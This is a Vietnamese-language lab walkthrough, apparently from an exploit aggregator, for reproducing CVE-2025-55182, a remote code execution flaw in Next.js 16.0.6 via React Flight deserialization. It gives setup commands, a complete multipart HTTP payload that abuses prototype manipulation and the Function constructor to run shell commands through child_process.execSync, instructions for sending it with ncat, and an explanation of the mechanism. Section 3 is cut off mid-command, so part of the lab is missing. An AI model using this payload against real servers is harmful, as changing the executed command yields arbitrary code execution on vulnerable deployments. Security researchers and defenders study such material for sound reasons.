Share
## https://sploitus.com/exploit?id=3CEE04AF-3574-5E0E-A4F5-BF7D8A2E0C5B
# Lab mô phỏng khai thác CVE-2025-55182 trên Ubuntu 22.04

## 1) Chuẩn bị môi trường
- OS: Ubuntu 22.04 (x86_64).
- Cài Node.js >= 18 (khuyến nghị 20) và pnpm hoặc npm.
  ```bash
  sudo apt update
  curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
  sudo apt install -y nodejs git
  npm install -g pnpm
  ```
- Cài `xcalc` để thấy RCE dạng GUI (hoặc thay bằng `touch /tmp/pwned` nếu headless):
  ```bash
  sudo apt install -y x11-apps
  ```

## 2) Tạo app Next.js dễ bị khai thác (16.0.6)
```bash
mkdir ~/cve-2025-55182-lab && cd ~/cve-2025-55182-lab
pnpm create next-app --ts --use-pnpm --eslint --app next-rce
cd next-rce
pnpm add next@16.0.6 react@19.0.0-rc react-dom@19.0.0-rc
```

## 3) Thêm route server-actions giả lập (khai thác RSC/Flight)
Tạo file `app/api/rce/route.ts`:
```bash
mkdir -p app/api/rce
cat > app/api/rce/route.ts  Giữ terminal này mở.

## 5) Gửi payload khai thác
- Mở terminal khác tại `~/cve-2025-55182-lab/next-rce`.
- Tạo file payload multipart (giống `poc 2/CVE-2025-55182.http`):
```bash
cat > exploit.http <<'EOF'
POST /api/rce HTTP/1.1
Host: localhost:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
```
- Dùng `ncat` để gửi raw HTTP (hoặc `curl --data-binary` nếu thích):
```bash
sudo apt install -y netcat
ncat localhost 3000 < exploit.http
```

## 6) Quan sát kết quả
- Nếu có môi trường X11, cửa sổ `xcalc` bật lên → chứng minh RCE.
- Nếu headless, đổi payload `_prefix` thành:
  ```json
  "process.mainModule.require('child_process').execSync('touch /tmp/pwned');"
  ```
  rồi kiểm tra `ls -l /tmp/pwned`.

## 7) Giải thích nhanh cơ chế
- Payload lợi dụng deserialization `$@` của React Flight để tạo `Chunk` giả, gán `Chunk.prototype.then` và đặt `status: "resolved_model"` để ép gọi `initializeModelChunk`.
- Nhánh Blob deserialization gọi `response._formData.get(prefix)` và trả thẳng kết quả; attacker thay `get` bằng `Function`, `prefix` chứa code, nên trả về hàm độc hại.
- Hàm này được gán vào `then` và thực thi khi chunk được resolve → RCE trong process Next.js.

## 8) Dọn dẹp
```bash
rm -rf ~/cve-2025-55182-lab
```